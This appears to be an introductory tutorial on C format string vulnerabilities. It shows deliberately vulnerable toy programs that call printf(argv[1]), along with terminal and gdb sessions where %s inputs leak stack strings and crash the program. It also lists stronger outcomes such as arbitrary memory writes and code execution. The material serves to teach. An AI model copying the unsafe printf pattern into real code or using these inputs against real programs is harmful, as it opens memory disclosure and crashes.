Format String Vulnerability
FORMAT STRING
A format string is an ASCIIZ string used to specify and control the representation of different variables
int i;
printf("%d", i);
A format function uses the format string to convert C data types into a string representation
…->The format string controls the format function
……..->of variables
……..->representation of result
EXAMPLE OF FORMAT FUNCTIONS
Format Functions |
---|
Printf |
Fprintf |
Sprintf |
Vprintf |
Snprintf |
Vsprintf |
Vsnprintf |
->These are variadic functions and variadic functions accepts variable number of arguments
->Arguments are expected to be placed on stack
->The input function decided the number of arguments to be read of the stack
"%s" //1 argument
"%s%d" //2 argument
Now let us understand with a simple example
#include<stdio.h>
int main(int argc, char const *argv[])
{
printf(argv[1]);
return 0;
}
root@kali:~#gcc -mpreferred-stack-boundary=2 fs.c -o fs
root@kali:~#./fs hello
helloroot@kali:~#
So lets change something in the code
#include<stdio.h>
int main(int argc, char const *argv[])
{
char *secret = "this is secret!\n";
printf(argv[1]);
return 0;
}
root@kali:~# ./fs %s
this is a secret!
root@kali:~#
No where in the code there is a statement that prints strings secret
ALSO
#include<stdio.h>
int main(int argc, char const *argv[])
{
char *secret1 = "this is secret1 \n";
char *secret2 = "this is secret2\n";
printf(argv[1]);
return 0;
}
root@kali:~# ./fs %s%s
this is secret1
this is secret2
root@kali:~#
WHAT CAN BE DONE WITH FORMAT STRING BUGS
1>Crash the Program (DOS)
2>View the stack
3>View memory at arbitary locations
4>Overwrite memory at arbitary locations
5>Code execution
CRASH THE PROGRAM(DOS)
root@kali:~# ./fs %s%s
this is secret1
this is secret2
root@kali:~# ./fs %s%s%s%s
this is secret1
this is secret2
�$�B�root@kali:~#
root@kali:~# ./fs %s%s%s%s%s
this is secret1
this is secret2
Segmentation fault
root@kali:~#
just provided 5 %s and the program crashed
lets have a look with gdb
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: sub esp,0xc
0x080483ca <main+6>: mov DWORD PTR [ebp-0x8],0x80484b0
0x080483d1 <main+13>: mov DWORD PTR [ebp-0x4],0x80484c2
0x080483d8 <main+20>: mov eax,DWORD PTR [ebp+0xc]
0x080483db <main+23>: add eax,0x4
0x080483de <main+26>: mov eax,DWORD PTR [eax]
0x080483e0 <main+28>: mov DWORD PTR [esp],eax
0x080483e3 <main+31>: call 0x80482fc <printf@plt>
0x080483e8 <main+36>: mov eax,0x0
0x080483ed <main+41>: leave
0x080483ee <main+42>: ret
End of assembler dump.
(gdb) b *0x080483e3
Breakpoint 1 at 0x80483e3
(gdb) r %s%s%s%s%s
we set a breakpoint at the print statement and run the program with 5 %s
now if we look at the stack
(gdb) x/8xw $esp
0xbffff7bc: 0xbffff99c 0x080484b0 0x080484c2 0xbffff848
0xbffff7cc: 0xb7eadc76 0x00000002 0xbffff874 0xbffff880
1st one is the 5 %s
(gdb) x/s 0xbffff99c
0xbffff99c: "%s%s%s%s%s"
and the next two are the two strings secret1 and secret2
(gdb) x/2s 0x080484b0
0x80484b0: "this is secret1 \n"
0x80484c2: "this is secret2\n"
If we go on looking the stack
(gdb) x/4s 0x080484b0
0x80484b0: "this is secret1 \n"
0x80484c2: "this is secret2\n"
0x80484d3: ""
0x80484d4 <__FRAME_END__>: ""
clearly it caused a seg fault and crashed the program
VIEWING THE STACK
Lets get into more detail
Lets change the code to understand more
#include<stdio.h>
int main(int argc, char const *argv[])
{
char *secret1 = "this is secret1 \n";
char *secret2 = "this is secret2\n";
// printf(argv[1]);
printf("Print this : %s\n%s%s", argv[1]);
return 0;
}
root@kali:~# ./fs format-strings
Print this : format-strings
this is secret1
this is secret2
root@kali:~#
Lets us understand the stack working of printf
(gdb) x/8xw $esp
0xbffff7b8: 0x080484e3 0xbffff998 0x080484c0 0x080484d2
0xbffff7c8: 0xbffff848 0xb7eadc76 0x00000002 0xbffff874
At low memory there is the return address next to the printf statement from where the printf is being is called
Then the strings or format strings which are given in printf
(gdb) x/s 0x080484e3
0x80484e3: "Print this : %s\n%s%s"
And then the arguments which are passed to the printf() function
(gdb) x/s 0xbffff998
0xbffff998: "format-strings"
Here there is only one argument which is passed onto the printf()
And then the strings secret1 secret2
(gdb) x/2s 0x080484c0
0x80484c0: "this is secret1 \n"
0x80484d2: "this is secret2\n"